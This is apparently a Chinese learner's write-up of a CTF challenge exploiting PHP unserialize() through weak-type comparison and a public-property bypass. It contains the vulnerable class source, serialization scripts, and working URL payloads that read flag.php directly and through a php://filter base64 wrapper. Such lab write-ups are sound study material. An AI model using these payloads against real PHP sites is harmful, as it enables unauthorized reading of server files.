前言
真的不会写
正文
进入链接,一大串代码来袭
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
看不懂看不懂看不懂…直接看大佬总结出来的知识
知识点
PHP反序列化漏洞、弱类型比较。
经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:
两个防护:
一:is_valid()
要求传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。
二:destruct()魔术方法
op===”2”,是强比较
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
而在process()函数中,op==”2”是弱比较
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true。
<?php $op=2; $oop='2'; if($op==="2") echo "数字2与字符2强比较成功"; else echo "数字2与字符2强比较失败"; echo "\n"; if($op=="2") echo "数字2与字符2弱比较成功"; else echo "数字2与字符2弱比较失败"; ?>
|
本地进行序列化操作(可在菜鸟工具里进行PHP在线测试)
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "1"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
|
序列化结果:
O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:1:”1”;}
payload:
/?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:1:”1”;}
f12查看源码,找到flag
也可以使用伪协议
<?php class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content = "2"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
|
payload:
/?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;N;}
得到一串base编码
解码得到flag
结尾
PHP反序列化漏洞和弱类型比较还是比较懵懂
路漫漫,加油学吧